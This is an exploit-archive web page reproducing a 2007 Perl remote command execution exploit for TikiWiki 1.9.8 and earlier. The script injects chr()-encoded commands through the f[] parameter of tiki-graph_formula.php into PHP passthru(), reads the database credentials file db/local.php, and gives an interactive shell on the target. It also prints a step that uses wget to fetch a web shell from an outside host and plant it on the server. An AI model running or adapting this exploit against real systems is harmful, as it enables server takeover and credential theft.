首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
TikiWiki <= 1.9.8 tiki-graph_formula.php Command Execution Exploit
来源:sec [at] shankar.antichat.ru 作者:ShAnKaR 发布时间:2007-10-15  
#!/usr/bin/perl
# TikiWiki <= 1.9.8 Remote Command Execution Exploit
#
# Description
# -----------
# TikiWiki contains a flaw that may allow a remote attacker to execute arbitrary commands.
# The issue is due to 'tiki-graph_formula.php' script not properly sanitizing user input
# supplied to the f variable, which may allow a remote attacker to execute arbitrary PHP
# commands resulting in a loss of integrity.
# -----------
# Vulnerability discovered by ShAnKaR <sec [at] shankar.antichat.ru>
#
# $Id: milw0rm_tikiwiki.pl,v 0.1 2007/10/12 13:25:08 str0ke Exp $

use strict;
use LWP::UserAgent;

my $target = shift || &usage();
my $proxy = shift;
my $command;

&exploit($target, "cat db/local.php", $proxy);

print "[?] php shell it?\n";
print "[*] wget http://www.youhost.com/yourshell.txt -O backups/shell.php\n";
print "[*] lynx " . $target . "/backups/shell.php\n\n";

while()
{
print "tiki\# ";
chomp($command = <STDIN>);
exit unless $command;
&exploit($target, $command, $proxy);
}

sub usage()
{
print "[?] TikiWiki <= 1.9.8 Remote Command Execution Exploit\n";
print "[?] str0ke <str0ke[!]milw0rm.com>\n";
print "[?] usage: perl $0 [target]\n";
print "    [target] (ex. http://127.0.0.1/tikiwiki)\n";
print "    [proxy] (ex. 0.0.0.0:8080)\n";
exit;
}

sub exploit()
{
my($target, $command, $proxy) = @_;

my $cmd = 'echo start_er;'.$command.';'.'echo end_er';

my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));

my $conn = LWP::UserAgent->new() or die;
$conn->agent("Mozilla/4.0 (compatible; Lotus-Notes/5.0; Windows-NT)");
$conn->proxy("http", "http://".$proxy."/") unless !$proxy;

my $out=$conn->get($target."/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.tan.passthru($byte).die()&t=png&title=");

if ($out->content =~ m/start_er(.*?)end_er/ms) {
print $1 . "\n";
} else {
print "[-] Exploit Failed\n";
exit;
}
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·KwsPHP 1.0 Newsletter Module R
·PBEmail 7 ActiveX Edition Inse
·PHP 5.2.4 ionCube extension sa
·Apache Tomcat (webdav) Remote
·jetAudio 7.x (m3u File) Local
·Solaris fifofs I_PEEK Kernel M
·eXtremail <= 2.1.1 memmove() R
·Eggdrop Server Module Message
·eXtremail <= 2.1.1 (LOGIN) Rem
·Php-Stats 0.1.9.2 Multiple Vul
·eXtremail <= 2.1.1 PLAIN authe
·cpDynaLinks 1.02 category.php
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved